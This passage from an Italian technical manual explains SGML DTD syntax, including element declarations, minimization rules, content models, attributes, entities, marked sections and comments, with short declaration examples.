La definizione del DTD è ottenuta da una serie di istruzioni dichiarative composte secondo una sintassi molto semplice. L'esempio seguente rappresenta le istruzioni necessarie a definire gli elementi di un tipo di documento ipotetico definibile come '**`relazione`**'.

```
<!ELEMENT relazione     - - (titolo?, data, contenuto) >
<!ELEMENT titolo        - o (#PCDATA) >
<!ELEMENT data          - o (#PCDATA) >
<!ELEMENT contenuto     - o (paragrafo+, firma+) >
<!ELEMENT paragrafo     - o (#PCDATA) >
<!ELEMENT firma         - o (#PCDATA) >
```

Ognuna delle righe che appaiono nell'esempio rappresenta una dichiarazione di un elemento SGML. Una dichiarazione, di qualunque tipo, è delimitata da una parentesi angolare aperta (il simbolo di minore), seguita immediatamente da un punto esclamativo ('**`<!`**') e da una parentesi angolare chiusa ('**`>`**').

La dichiarazione di un elemento si compone poi della parola chiave '**`ELEMENT`**', seguita dal nome dell'elemento, dalle regole di minimizzazione rappresentate da due caratteri e da un modello del contenuto.

Figura 63.6. Scomposizione delle varie parti della dichiarazione di un elemento SGML.

```
<!ELEMENT titolo      - O (#PCDATA) >
```

nome dell'elemento

delimitatore conclusivo dell'istruzione

dichiarazione di un elemento

modello del contenuto

delimitatore di apertura dell'istruzione SGML

regole di minimizzazione

Le varie parti che compongono qualunque tipo di dichiarazione SGML sono separate da spazi orizzontali (caratteri spazio, o tabulazioni orizzontali) oppure anche da interruzioni di riga, permettendo così di proseguire le istruzioni su più righe distinte.

63.1.2 Regole di minimizzazione

Le ***regole di minimizzazione***, rappresentate da due caratteri staccati, indicano l'obbligatorietà o meno dell'utilizzo del marcatore di apertura e di chiusura per l'elemento dichiarato. Il primo dei due simboli rappresenta l'apertura, il secondo la chiusura. Un trattino indica che il marcatore è obbligatorio, mentre la lettera '**`O`**' sta per «opzionale» e indica così che può essere omesso:

Regole di minimizzazione	Descrizione
`- -`	sono obbligatori entrambi i marcatori;
`- O`	è obbligatorio il marcatore iniziale, mentre quello finale è facoltativo;
`O -`	il marcatore iniziale è facoltativo, mentre quello finale è obbligatorio (di solito non capita questa situazione);
`O O`	sono facoltativi entrambi i marcatori.

Nell'esempio mostrato in precedenza, solo l'elemento '**`relazione`**' richiede l'utilizzo di marcatori di apertura e di chiusura, mentre tutti gli altri possono essere indicati utilizzano il solo marcatore di apertura. In pratica, il contesto permette di individuare dove finiscano tali elementi nel testo.

La possibilità o meno di rendere facoltativo l'uso dei marcatori di apertura e di chiusura non è solo un fatto di gusto, in quanto dipende anche dall'organizzazione del tipo di documento. Se le dichiarazioni diventano ambigue, non si possono più distinguere gli elementi nel testo SGML.

63.1.3 Modello del contenuto

La parte finale della dichiarazione di un elemento SGML è il ***modello del contenuto***, che si distingue perché è racchiuso tra parentesi tonde. Serve a descrivere il tipo di contenuto che può avere l'elemento e si può esprimere attraverso parole riservate che hanno un significato preciso, come '**`#PCDATA`**' (*Parsed character data*) che rappresenta una qualunque sequenza di caratteri valida, oppure attraverso l'indicazione di nomi di altri elementi che possono (o devono) essere contenuti in qualche modo.

Il modello del contenuto, può articolarsi in modo molto complesso, allo scopo di definire le relazioni tra gli elementi contenuti.

Per il momento, è bene osservare che un elemento, il cui modello del contenuto sia composto esclusivamente della parola riservata '**`#PCDATA`**', non può contenere al suo interno altri tipi di elementi. Il significato di alcune delle parole riservate più comuni, utilizzabili per definire il contenuto di un elemento, sono riportate più avanti in questo capitolo, dopo la presentazione di altri concetti essenziali, necessari per comprenderne il senso.

63.1.3.1 Indicatori di ripetizione

Il modello del contenuto utilizza un sistema abbastanza complesso per definire la possibilità di contenere più elementi dello stesso tipo e per indicare raggruppamenti di elementi. Per indicare la ripetizione, viene usato un simbolo alla fine dell'oggetto a cui si riferisce, chiamato ***indicatore di ripetizione*** (*occurrence indicator*):

Indicatore di ripetizione	Descrizione
+	il segno '**`+`**' usato come suffisso, rappresenta una o più ripetizioni dell'elemento;
?	il segno '**`?`**' usato come suffisso, rappresenta zero o al massimo un'occorrenza dell'elemento;
*	il segno '**`*`**' usato come suffisso, rappresenta zero o più ripetizioni dell'elemento;
	se non viene usato nessun suffisso, l'elemento indicato deve essere usato esattamente una volta.

Dall'esempio mostrato in precedenza viene ripreso l'estratto seguente, nel quale si può osservare che: l'elemento '**`titolo`**' può apparire al massimo una volta all'interno di '**`relazione`**' (precisamente all'inizio di questo elemento); l'elemento '**`paragrafo`**' deve essere contenuto almeno una volta all'interno dell'elemento '**`contenuto`**' (lo stesso vale per l'elemento '**`firma`**'); l'elemento '**`firma`**' può contenere solo caratteri normali senza altri elementi.

```
<!ELEMENT relazione     - - (titolo?, data, contenuto) >
<!ELEMENT contenuto     - O (paragrafo+, firma+) >
<!ELEMENT firma         - O (#PCDATA) >
```

63.1.3.2 Connettori

Quando un elemento deve poter contenere diversi tipi di elementi, è necessario usare dei simboli, detti ***connettori***, per stabilirne la relazione:

Connettore	Descrizione
,	la virgola ('`,`') indica che l'elemento precedente e quello successivo devono apparire nell'ordine in cui sono;
&	la e-commerciale ('`&`') indica che l'elemento precedente e quello successivo devono essere presenti entrambi, ma possono apparire in qualunque ordine;
		la barra verticale ('`|`') indica che solo uno tra i due elementi che connette può apparire.

Riprendendo il solito estratto dell'esempio già mostrato precedentemente, si può osservare l'uso della virgola in qualità di connettore:

```
<!ELEMENT relazione     - - (titolo?, data, contenuto) >
<!ELEMENT contenuto     - O (paragrafo+, firma+) >
<!ELEMENT firma         - O (#PCDATA) >
```

L'elemento '**`relazione`**' può contenere al massimo un titolo all'inizio, quindi deve apparire un elemento '**`data`**' e dopo di questo anche un elemento '**`contenuto`**'. L'elemento '**`contenuto`**' deve contenere uno o più elementi '**`paragrafo`**' a partire dall'inizio, mentre in coda deve avere uno o più elementi '**`firma`**'.

```
<!ELEMENT nominativo    - - (nome & cognome) >
<!ELEMENT voce          - - (punto | numero) >
```

Per completare gli esempi sull'uso dei connettori, si osservi quanto mostrato sopra. L'elemento '**`nominativo`**' deve contenere un elemento '**`nome`**' e un elemento '**`cognome`**', in qualunque ordine; l'elemento '**`voce`**' può contenere solo un elemento a scelta tra '**`punto`**' e '**`numero`**'.

63.1.3.3 Raggruppamenti

All'interno di un modello di contenuto, è possibile indicare dei raggruppamenti che esprimono in pratica dei sottomodelli, a cui poter applicare gli indicatori di ripetizione e i connettori. Per questo si usano le parentesi tonde. Si osservi l'esempio seguente:

```
<!ELEMENT figure - - ( (eps | ph), img*, caption?) >
```

L'elemento '**`figure`**' deve contenere un'occorrenza del sottogruppo '**`(eps | ph)`**', zero o più ripetizioni dell'elemento '**`img`**' e al massimo un'occorrenza di '**`caption`**', nell'ordine descritto. Il sottogruppo '**`(eps | ph)`**' rappresenta una singola occorrenza di '**`eps`**' oppure '**`ph`**'.

Quando si utilizzano gli operatori di ripetizione assieme ai raggruppamenti, possono nascere degli equivoci. Ammesso che ciò possa avere senso, si osservi la variante seguente dell'esempio già presentato:

```
<!ELEMENT figure - - ( (eps | ph)+, img*, caption?) >
```

È stato aggiunto il segno '**+**' dopo il gruppo '**(eps | ph)**'. In questo modo, si intende che sia possibile l'inserimento iniziale di una serie indefinita di elementi '**eps**' o '**ph**', in qualunque ordine, purché ce ne sia almeno uno dei due. Quindi, non è necessario che si tratti solo di elementi '**eps**' o solo di '**ph**'.

63.1.3.4 Eccezione

Se nella definizione di un elemento si vogliono indicare delle eccezioni a quanto definito dal modello di contenuto, si può indicare un gruppo di elementi successivo al modello del contenuto.

Questo gruppo può essere preceduto dal segno '**+**' o dal segno '**-**' indicando rispettivamente un'eccezione di inclusione, o un'eccezione di esclusione.

```
<!ELEMENT address - O (#PCDATA) +(newline) >
```

L'esempio mostra l'elemento '**address**' contiene caratteri normali, ma che può includere eccezionalmente anche l'elemento '**newline**'.

```
<!ELEMENT acronimo - - (#PCDATA) -(acronimo) >
```

L'esempio mostra l''elemento '**acronimo**' contiene caratteri normali e che non può includere se stesso (a essere precisi, non è necessario dichiarare una cosa del genere, dal momento che il contenuto '**#PCDATA**' non ammette altri elementi al suo interno).[1]

63.1.3.5 Elementi vuoti

Alcuni tipi di elementi non sono fatti per circoscrivere una zona di testo, ma solo per rappresentare qualcosa che si trova in un certo punto. Questi elementi, non vengono dichiarati con un modello di contenuto tra parentesi, ma con l'utilizzo della parola chiave '**empty**'.

L'esempio seguente, dichiara l'elemento '**toc**' che non può contenere alcunché.

```
<!ELEMENT toc - O EMPTY>
```

Tipicamente, tali elementi, sono dichiarati in modo che il marcatore di chiusura sia solo facoltativo. Non potendo contenere alcunché, sarebbe perfettamente inutile renderlo obbligatorio.

63.1.4 Dichiarazione multipla

Eventualmente, un gruppo di elementi che abbiano le stesse caratteristiche, cioè le stesse regole di minimizzazione e lo stesso modello del contenuto, può essere dichiarato in una sola istruzione. L'esempio seguente dovrebbe essere sufficiente a comprendere il meccanismo.

```
<!ELEMENT ( annotazione | avvertimento | pericolo ) - - (#PCDATA) >
```

63.1.5 Attributi

Un elemento può prevedere la presenza di uno o più attributi. Si tratta di informazioni che non compongono il contenuto dell'elemento, ma di qualcosa che, non potendo apparire nel testo, serve per qualche ragione ai programmi che elaborano successivamente il documento. Il classico esempio è costituito da quei marcatori utilizzati per i riferimenti incrociati. L'esempio seguente mostra l'uso di un elemento vuoto, denominato '**`ref`**', contenente l'attributo '**`point`**' a cui viene dato il valore '**`esempio`**':

```
Si veda il capitolo <ref point="esempio"> che contiene
molti esempi utili al riguardo.
```

È importante osservare che il valore assegnato a un attributo deve essere delimitato attraverso apici doppi (come mostrato nell'esempio), oppure attraverso apici singoli. Eccezionalmente, è possibile assegnare un valore senza alcuna delimitazione, quando si tratta di una sola parola composta da lettere alfabetiche, cifre numeriche, trattino normale ('**`-`**'), trattino basso ('**`_`**'), due punti ('**`:`**').

L'esempio seguente mostra la dichiarazione dell'elemento '**`ref`**', già presentato nell'esempio, tenendo conto che il suo scopo è quello di essere utilizzato come riferimento a una parte del documento identificata attraverso il valore assegnato all'attributo '**`point`**'.

```
<!ELEMENT ref - O EMPTY>
<!ATTLIST ref
        point IDREF #REQUIRED
        name CDATA "riferimento">
```

Attraverso l'istruzione '**`ATTLIST`**' si definiscono gli attributi di un elemento. Dopo l'indicazione del nome dell'elemento a cui si fa riferimento, segue l'elenco degli attributi, ognuno dei quali inizia con un codice di interruzione di riga seguito eventualmente da altri tipi di spazi. Ciò significa che l'istruzione '**`ATTLIST`**' deve essere composta proprio come indicato dall'esempio, solo i rientri sono facoltativi.

L'esempio indica che l'elemento '**`ref`**' contiene due attributi: '**`point`**' e '**`name`**'. Il primo è obbligatorio ('**`#REQUIRED`**'), mentre per il secondo è stato indicato un valore predefinito, nel caso non venga specificato espressamente ('**`riferimento`**').

Il tipo di contenuto di un attributo viene definito attraverso delle parole chiave, che possono essere indicate usando lettere maiuscole o minuscole indifferentemente. Di seguito ne vengono descritte alcune:

Parola chiave	Descrizione
`CDATA`	rappresenta una stringa di qualunque tipo di carattere, ammettendo anche simboli di punteggiatura o altro, che comunque mantiene solo il suo significato letterale (*Character data*);
`NMTOKEN`	rappresenta qualunque tipo di carattere alfanumerico (lettere, numeri e spazi soltanto), che dovrebbe comporre un nome (*Name token*);
`NUMBER`	rappresenta solo cifre numeriche, cioè un numero;
`ID`	rappresenta un identificatore unico per quel tipo di documento, costituito da un nome senza caratteri speciali o segni di punteggiatura, che viene utilizzato successivamente per farvi riferimento;

Parola chiave	Descrizione
IDREF	indica che l'attributo deve essere un puntatore valido a un identificatore di un attributo '**ID**', corrispondente in un altro elemento.

È importante osservare che la parola chiave '**CDATA**' viene usata anche in altre situazioni con un significato simile, ma non identico. Nel caso definisca il contenuto di un attributo, è ammesso l'uso di macro (entità) che vengono espanse.

Il tipo di contenuto di un attributo, può essere indicato in modo preciso attraverso una serie di scelte alternative. In tal caso, invece di utilizzare le parole chiave già elencate, si indicano le stringhe alternative, separate dalla barra verticale, tra parentesi tonde. Per esempio, '**(bozza | finale)**' rappresenta la possibile scelta tra le due parole '**bozza**' e '**finale**'.

L'ultimo dato da inserire per ogni attributo è il valore predefinito, oppure una parola chiave a scelta tra le seguenti:

Parola chiave	Descrizione
#REQUIRED	rappresenta l'obbligatorietà dell'inserimento del valore;
#IMPLIED	rappresenta un attributo facoltativo;
#CURRENT	in mancanza di un'indicazione esplicita, rappresenta l'utilizzo dell'ultimo valore assegnato allo stesso attributo dello stesso elemento;
#FIXED	rappresenta un valore predefinito e non modificabile, che, se usato, deve avere il valore stabilito.

Nel caso particolare dell'attributo definito con la parola chiave '**#FIXED**', a questa segue necessariamente la stringa fissata.

Tra tutti, merita attenzione la coppia '**ID**' e '**IDREF**'. Questi tipi di attributi possono essere molto utili per definire dei riferimenti incrociati all'interno del documento, quando la loro validità deve essere controllata con gli strumenti di convalida SGML. Si osservi l'esempio seguente:

```
<!ELEMENT label - O EMPTY>
<!ATTLIST label
        identity ID #REQUIRED>

<!ELEMENT ref - O EMPTY>
<!ATTLIST ref
        point IDREF #REQUIRED>
```

Nell'esempio si mostra la dichiarazione di un elemento '**label**' che non può contenere testo, in quanto serve solo per definire l'attributo '**identity**', di tipo '**ID**'. Questo permette l'utilizzo di marcatori simili a '**<label identity="miaetichetta">**', dove viene assegnato all'attributo '**identity**' un nome sempre diverso, allo scopo di identificare qualcosa. Sotto, la dichiarazione dell'elemento '**ref**' mostra un altro elemento che non può contenere testo, ma solo un attributo denominato '**point**', di tipo '**IDREF**', che può quindi contenere solo il nome di un identificatore già usato in un altro elemento con l'attributo '**ID**'.

In pratica, se nel testo SGML si dovesse utilizzare da qualche parte il marcatore ‘**<label identity="miaetichetta">**’, in un altro punto sarebbe valido il marcatore ‘**<ref point="miaetichetta">**’, perché l’identificatore ‘**miaetichetta**’ esiste effettivamente.

Ricapitolando, un attributo ‘**ID**’ di un marcatore è valido quando è unico nel documento SGML che si scrive, mentre un attributo ‘**IDREF**’ è valido quando esiste il valore corrispondente di un attributo ‘**ID**’.

> Spesso, per cose del genere, si preferisce usare attributi di tipo ‘**CDATA**’, per permettere l’utilizzo di caratteri di ogni tipo, togliendo però all’SGML la possibilità di controllare la validità di tali riferimenti incrociati.

63.1.6 Entità

Con questo termine, ***entità***, si fa riferimento a due tipi di oggetti: macro per la sostituzione di stringhe (entità generali) o macro per la sostituzione di nomi all’interno di istruzioni SGML (entità parametriche).

Le macro per la sostituzione di stringhe, una volta dichiarate, si utilizzano all’interno del sorgente SGML come abbreviazioni o come un modo per identificare lettere o simboli che non possono essere usati altrimenti. Per esempio, utilizzando le entità ISO 8879:1986, la frase «Wer bekommt das größte Stück Torte?» può essere scritta nel sorgente nel modo seguente:

```
Wer bekommt das gr&ouml;&szlig;te St&uuml;ck Torte?
```

Le entità generali, quindi, sono identificate nel testo SGML perché iniziano con la e-commerciale (‘**&**’) e terminano con un punto e virgola. È bene osservare che il punto e virgola non è obbligatorio in ogni situazione, ma solo quando il carattere successivo sia diverso da uno spazio orizzontale o da un codice di interruzione di riga. In generale, però, sarebbe bene usare sempre il punto e virgola. La tabella 63.25 elenca alcune macro delle entità standard più importanti.

Tabella 63.25. Alcune macro delle entità standard secondo le specifiche ISO 8879:1986.

á	á	Á	Á	ö	ö	Ö	Ö
â	â	Â	Â	ß	ß		
à	à	À	À	ú	ú	Ú	Ú
å	å	Å	Å	û	û	Û	Û
ã	ã	Ã	Ã	ù	ù	Ù	Ù
ä	ä	Ä	Ä	ü	ü	Ü	Ü
æ	æ	Æ	Æ	ý	ý	Ý	Ý
ç	ç	Ç	Ç	ÿ	ÿ		
é	é	É	É	&	&	@	@
ê	ê	Ê	Ê	*	*		
è	è	È	È	ˆ	^	˜	~
ë	ë	Ë	Ë	©	©		
í	í	Í	Í	$	$	%	%
î	î	Î	Î	#	#		
ì	ì	Ì	Ì	!	!	¡	¡
ï	ï	Ï	Ï	?	?	¿	¿
ñ	ñ	Ñ	Ñ	‐	-	_	–
ó	ó	Ó	Ó	\	\		

ô	ô	Ô	Ô	"	"		
ò	ò	Ò	Ò	<	<	>	>
ø	ø	Ø	Ø	[	[	]	]
õ	õ	Õ	Õ	{	{	}	}

Le entità standard ISO 8879, sono distinte in 19 gruppi, che in parte si sovrappongono (a volte si ripetono alcune dichiarazioni nello stesso modo). Questi 19 gruppi di entità corrispondono ad altrettanti file, per i quali esiste anche un nome stabilito.

L'altro tipo di macro, riguarda invece la sostituzione all'interno delle istruzioni SGML, cioè nella dichiarazione del DTD.

L'esempio seguente mostra la dichiarazione dell'elemento '**`p`**' che può contenere l'elemento o gli elementi indicati all'interno della macro '**`%inline;`**'.

```
<!ELEMENT p - O (%inline;) >
```

La dichiarazione di un'entità avviene utilizzando l'istruzione '**`ENTITY`**'. L'esempio seguente mostra la dichiarazione di un'entità da utilizzare nel sorgente SGML.

```
<!ENTITY agrave "\`a">
```

In questo caso, si vuole che la macro '**`à`**' venga sostituita con la stringa '**``\`a``**'. Evidentemente, questa trasformazione non ha niente a che vedere con SGML. È semplicemente una scelta motivata dal tipo di programma utilizzato successivamente per rielaborare il risultato generato dall'analizzatore SGML.

L'esempio seguente mostra la dichiarazione di due entità da utilizzare all'interno delle istruzioni SGML.

```
<!ENTITY % emph " em | concept | cparam ">
<!ENTITY % inline "(#PCDATA | %emph;)*">
```

La dichiarazione di questo tipo di entità si distingue perché viene utilizzato il simbolo di percentuale subito dopo la parola '**`ENTITY`**', staccandolo da questa e anche dal nome dell'entità successivo. Anche in questo caso si utilizza solo come pura sostituzione di stringhe, per cui la dichiarazione di '**`%inline;`**', facendo a sua volta riferimento a '**`%emph;`**', è equivalente a quella seguente:

```
<!ENTITY % inline "(#PCDATA | em | concept | cparam )*">
```

Naturalmente, una macro può contenere anche il riferimento a un'altra macro. Per esempio, la dichiarazione dell'ipotetico elemento '**`p`**', fatta nel modo seguente,

```
<!ELEMENT p - O (%inline;) >
```

è equivalente alla dichiarazione:

```
<!ELEMENT p - O ((#PCDATA | em | concept | cparam )*) >
```

63.1.6.1 Acquisizione dall'esterno

Le entità di qualunque tipo, possono essere dichiarate abbinando una stringa a una macro, come è stato mostrato in precedenza. In alternativa, a una macro si può abbinare un file esterno (file inteso nel senso più ampio possibile). In tal caso, si utilizza la parola chiave '**SYSTEM**' come nell'esempio seguente:

```
<!ENTITY capitolo2 SYSTEM "capitolo2.sgml">
```

In tal modo, quando nel documento SGML si utilizza la macro '**&capitolo2;**' e poi lo si elabora attraverso un analizzatore SGML, si ottiene l'inserimento del file 'capitolo2.sgml'. Più o meno ciò che si fa normalmente con le direttive di un precompilatore di un linguaggio di programmazione.

Nello stesso modo si può fare per dichiarare un'entità parametrica, come nell'esempio seguente:

```
<!ENTITY % isoent SYSTEM "isoent.txt">
```

L'esempio mostra la dichiarazione della macro '**%isoent;**', riferita al file 'isoent.txt'. Per utilizzare questa macro, bisogna sapere a cosa si riferisce; trattandosi di un file, è logico pensare che si tratti di un testo articolato su più righe, quindi inadatto all'inserzione all'interno delle istruzioni. Generalmente, una macro del genere serve a incorporare un pezzo di DTD dall'esterno.

```
%isoent;
```

Come si vede dall'esempio, è normale vedere la chiamata di una macro di questo tipo, da sola, all'esterno di qualunque istruzione del DTD. L'esempio mostrato è comunque significativo: rappresenta l'inclusione di un file che presumibilmente, dal nome, serve a incorporare le entità ISO, cioè quelle standard riferite alle lettere accentate e ai simboli speciali.

A questo proposito, potrebbero esistere diversi file, del tipo: 'isoent.latex.txt', 'isoent.html.txt',... che prima di avviare l'analizzatore SGML vengono sostituiti al file 'isoent.txt', in modo da ottenere la sostituzione corretta in base all'elaborazione successiva che si vuole ottenere (LaTeX, HTML, ecc.).

Se non fosse ancora chiaro, ecco come potrebbe essere composto l'ipotetico file 'isoent.txt' quando si vogliono le sostituzioni corrette per LaTeX.

```
<!ENTITY agrave "\`a">
<!ENTITY Agrave "\`A">
<!ENTITY egrave "\`e">
<!ENTITY Egrave "\`E">
<!ENTITY eacute "\'e">
<!ENTITY Eacute "\'E">
...
```

L'acquisizione di una macro da un file esterno può essere dichiarata senza specificare esplicitamente il file, lasciando che l'analizzatore trovi il file corretto in base a un catalogo SGML. L'argomento viene ripreso in seguito, comunque, in questo tipo di dichiarazione, manca il nome del file.

```
<!ENTITY capitolo2 SYSTEM>
```

```
<!ENTITY % isoent SYSTEM>
```

Solitamente, si preferisce includere in questo modo solo le macro parametriche, cosa che può essere compresa intuitivamente in seguito.

63.1.6.2 Codici macro speciali

È bene ribadire che l'uso delle entità standard (ISO), permette di rendere il testo SGML indipendente dalla piattaforma utilizzata. Tuttavia, la dichiarazione della sostituzione dipende dalla piattaforma e, come si è mostrato, si tendono a predisporre diversi schemi di sostituzione per le diverse piattaforme a cui si vuole fare riferimento.

In situazioni eccezionali, può essere conveniente indicare i caratteri per numero, decimale o esadecimale, attraverso una notazione simile a quella delle entità normali. Per esempio, se si usa la codifica ISO 8859-1 (Latin 1), la macro '**`è`**', oppure la macro '**`è`**' corrisponde alla lettera '**`è`**' (la «e» accentata normale).

Questa possibilità è fondamentale proprio quando si definiscono le stringhe di sostituzione per una piattaforma determinata (hardware-software), in cui si debbano indicare caratteri speciali identificati dal numero corrispondente.

```
<!ENTITY egrave "&#232;">
```

Potrebbe sembrare che un testo SGML non possa utilizzare una codifica particolare, quale ISO 8859-1 o altro. Non è così. L'SGML mette a disposizione le entità standard, ma ciò non toglie che si possa decidere di usare comunque una codifica (ASCII) estesa come Latin 1 o altro. Ovviamente questo rende il testo dipendente dalla piattaforma, precisamente dalla codifica. Volendo essere precisi, la codifica utilizzabile dipende dalla dichiarazione SGML, cosa che viene descritta nella sezione 63.3.

63.1.7 Sezioni marcate

Le sezioni marcate sono una specialità di SGML, poco usata e poco conosciuta. Si tratta di istruzioni che vengono inserite nel testo SGML (non nel DTD) e servono a vario titolo per delimitare del testo per qualche scopo.

Una sezione marcata si compone di un sorta di marcatore di apertura e di una sorta di marcatore di chiusura. Il marcatore di apertura contiene una parola chiave che ne identifica il comportamento. Si osservi l'esempio seguente:

```
<![INCLUDE[
Questa parte del testo è inclusa nell'elaborazione SGML.
]]>
```

Come si può intuire, la sezione marcata dell'esempio è introdotta da '**`<![INCLUDE[`**' ed è terminata da '**`]]>`**'. In questo caso, la parola chiave '**`INCLUDE`**' indica che il testo contenuto nella sezione marcata deve essere incluso nell'elaborazione (anche se ciò, per ora, può sembrare perfettamente senza significato).

Le parole chiave utilizzabili per definire la sezione marcata sono diverse; di seguito ne appare l'elenco.

Parola chiave	Descrizione
`INCLUDE`	Il contenuto della sezione marcata deve essere incluso nel documento SGML e deve essere elaborato normalmente.
`IGNORE`	Il contenuto della sezione marcata deve essere escluso dal documento SGML. Se l'analizzatore SGML genera un qualche tipo di output, questo non contiene tale sezione.
`CDATA`	Il contenuto della sezione marcata deve essere incluso e trattato come testo letterale, in modo da ignorare ciò che altrimenti potrebbe essere interpretato come un marcatore o un'entità. Ciò vale per tutto, tranne il simbolo di chiusura della sezione marcata ('**`]]>`**'), che quindi è l'unica cosa che non può essere rappresentata all'interno di questa.
`RCDATA`	Il contenuto della sezione marcata deve essere incluso e trattato come testo letterale, in modo da ignorare ciò che altrimenti potrebbe essere interpretato come un marcatore, ma continuando a espandere le entità.
`TEMP`	Il contenuto della sezione marcata deve essere inteso come «temporaneo». Ciò serve solo come riferimento umano, per localizzare facilmente una parte del documento che richiede una revisione o che deve essere rimossa.

L'utilizzo di sezioni marcate di tipo '**`INCLUDE`**' e '**`IGNORE`**' è utile solo in abbinamento a entità parametriche. Prima di proseguire, è bene chiarire che quella specie di marcatore che apre una sezione marcata è come un'istruzione SGML, di quelle che appaiono nel DTD, anche se viene usata al di fuori di questo, nel documento. In questo senso, al suo interno si possono usare le entità parametriche; quindi, una di queste macro può servire per definire in modo dinamico la parola chiave '**`INCLUDE`**' oppure '**`IGNORE`**', per decidere di includere o escludere quel blocco (e probabilmente anche altri) con la modifica di una sola macro.

Per esempio, nel DTD del documento potrebbe apparire la dichiarazione di un'entità parametrica denominata '**`commentato`**'.

```
<!ENTITY % commentato "INCLUDE">
```

Nel documento SGML potrebbero esserci una serie di sezioni marcate la cui inclusione deve dipendere da questa macro.

```
...
1 + 2 = 3
<![%commentato;[
La matematica non è un'opinione.
]]>
...
```

Quando il testo viene analizzato, la macro viene espansa e trovando che corrisponde a '**`INCLUDE`**', il testo delle sezioni marcate che l'hanno usata, vengono incluse. Al contrario, basta modificare la macro, assegnandole il valore '**`IGNORE`**', per fare in modo che tutte quelle sezioni marcate vengano ignorate.

Questo tipo di approccio potrebbe sembrare ugualmente scomodo per l'utilizzatore che non vuole toccare il DTD. Però, come è possibile vedere in seguito, si possono inserire delle ecce-

zioni al DTD nel preambolo di un documento SGML. Oppure, si può benissimo progettare un DTD con una componente esterna, destinata a questo tipo di ritocchi.

63.1.8 Dettagli importanti

Prima di passare alla descrizione dell'abbinamento di un DTD a un testo SGML, è bene chiarire alcuni dettagli che sono stati trascurati fino a questo punto.

63.1.8.1 Commenti

All'interno del documento sorgente SGML, come nel DTD, possono essere indicate delle righe di commento da non considerare parte del documento o della codifica. Queste si ottengono con i delimitatori '**<!--**' e '**-->**'.

Volendo approfondire meglio il problema, la sequenza '**<!>**' rappresenta l'istruzione SGML nulla e può essere usata indifferentemente nel DTD o nel sorgente SGML. In qualità di istruzione nulla viene ignorata semplicemente.

All'interno delle istruzioni SGML è possibile inserire dei commenti, attraverso una sequenza di due trattini ('**--**'), per aprire e chiudere il commento. L'esempio seguente dichiara l'elemento '**itemize**' con un commento incorporato:

```
<!ELEMENT itemize - - (item+) -- elenchi puntati -- >
```

Ciò dovrebbe chiarire il senso del commento composto da '**<!--**' e '**-->**': si tratta di un'istruzione (nulla) che contiene un commento.

Questa particolarità di SGML ha delle conseguente: nel testo che compone il commento, non possono apparire sequenze di due o più trattini.

63.1.8.2 Maiuscole e minuscole

Per convenzione, i nomi di entità sono sensibili alla differenza tra lettere maiuscole e minuscole, per cui '**À**' e '**à**' rappresentano rispettivamente la lettera «A» maiuscola con accento grave e la «a» minuscola con accento grave.

Per convenzione, i nomi degli elementi, i simboli delle regole di minimizzazione, i nomi degli attributi e le parole chiave, non sono sensibili alla differenza tra lettere maiuscole e minuscole. Quindi, nell'ambito delle dichiarazioni del DTD i due esempi seguenti sono identici:

```
<!element ref - o empty>
<!attlist ref
        id cdata #required
        name cdata "riferimento">
```

```
<!ELEMENT REF - O EMPTY>
<!ATTLIST REF
        ID CDATA #REQUIRED
        NAME CDATA "riferimento">
```

Nello stesso modo, nell'ambito del testo SGML sono identici i due esempi seguenti:

```
... <ref id="capitolo-introduttivo" name="Intro"> ...
```

```
... <REF id="capitolo-introduttivo" name="Intro"> ...
```

indifferentemente dal modo (maiuscolo o minuscolo) in cui l'elemento '**`ref`**' è stato dichiarato nel DTD.

Evidentemente, in generale, il contenuto delle stringhe delimitate è sensibile alla differenza tra maiuscole e minuscole, dal momento che riguarda i programmi che fanno uso del documento dopo l'analisi SGML; in pratica, dipende da questi programmi successivi il senso che hanno tali informazioni.

63.1.8.3 Delimitatori di stringa

In varie situazioni, all'interno del DTD e all'interno dei marcatori utilizzati nel testo SGML, può essere necessaria l'indicazione di stringhe. I simboli utilizzati per delimitare le stringhe possono essere gli apici doppi ('"..."'), oppure gli apici singoli (''...''). La scelta tra i due tipi di delimitatori dovrebbe essere indifferente, a parte la possibile necessità di inserire nelle stringhe proprio questi caratteri. Si osservi l'esempio seguente, in cui vengono dichiarate le entità riferite ad alcune lettere accentate da usare con LaTeX.

```
<!ENTITY uuml   '\"u'>
<!ENTITY Uuml   '\"U'>
<!ENTITY yacute "\'y">
<!ENTITY Yacute "\'Y">
```

In situazioni più complesse, potrebbe essere necessario indicare i caratteri con l'aiuto delle macro '**`&#`*`nnn`*`;`**', che permettono di identificare l'oggetto attraverso il numero corrispondente riferito al tipo di codifica utilizzato (purché il contesto preveda la successiva ulteriore espansione di tali macro).

63.1.8.4 Tipo di contenuto di un'entità generale

In precedenza, quando è stato mostrato in che modo possa essere definita un'entità, si è trascurato il fatto che si deve definire in che modo la stringa di sostituzione vada interpretata. Per questo, si aggiunge una parola chiave prima della stringa.

Se non si usa alcuna parola chiave, si intende che la stringa vada interpretata come appare, espandendo eventuali entità contenute al suo interno. Si osservi l'esempio.

```
<!ENTITY attenzione "&lt;ATTENZIONE&gt;">
```

Quando dovesse essere utilizzata la macro '**`&attenzione;`**', si otterrebbe la stringa '**`<ATTENZIONE>`**', perché le entità '**`<`**' e '**`>`**' vengono espanse ulteriormente.

Se si indica la parola chiave '**`CDATA`**', si intende che la stringa di sostituzione deve essere utilizzata in modo letterale, senza espandere alcuna sequenza che potrebbe sembrare un'entità.

```
<!ENTITY attenzione CDATA "&lt;ATTENZIONE&gt;">
```

L'esempio, modificato con l'introduzione della parola chiave '**`CDATA`**', fa sì che la macro '**`&attenzione;`**' si traduca in pratica in '**`<ATTENZIONE>`**', perché le entità '**`<`**' e '**`>`**' non vengono riconosciute come tali e quindi non vengono espanse.

Se si utilizza la parola chiave '**SDATA**' (*Special data*), si intende che la stringa di sostituzione deve essere utilizzata in modo letterale, senza espandere alcuna sequenza che potrebbe sembrare un'entità. Però, a differenza di '**CDATA**', l'informazione viene filtrata in modo particolare quando l'analizzatore SGML genera un risultato transitorio da riutilizzare con un altro programma di composizione.

63.1.8.5 Contenuto elementare degli elementi

In precedenza è già stata spiegata la dichiarazione degli elementi e la dichiarazione del contenuto. In particolare si è visto che attraverso la parola chiave '**#PCDATA**' si fa riferimento a testo normale che viene elaborato normalmente (*parsed*). Ciò significa che questo tipo di testo è soggetto alla sostituzione delle entità, come fino a questo punto si è dato per scontato.

Tuttavia esistono altre parole chiave per definire tipi di testo differenti. Segue l'elenco di quelle più comuni.

Parola chiave	Descrizione
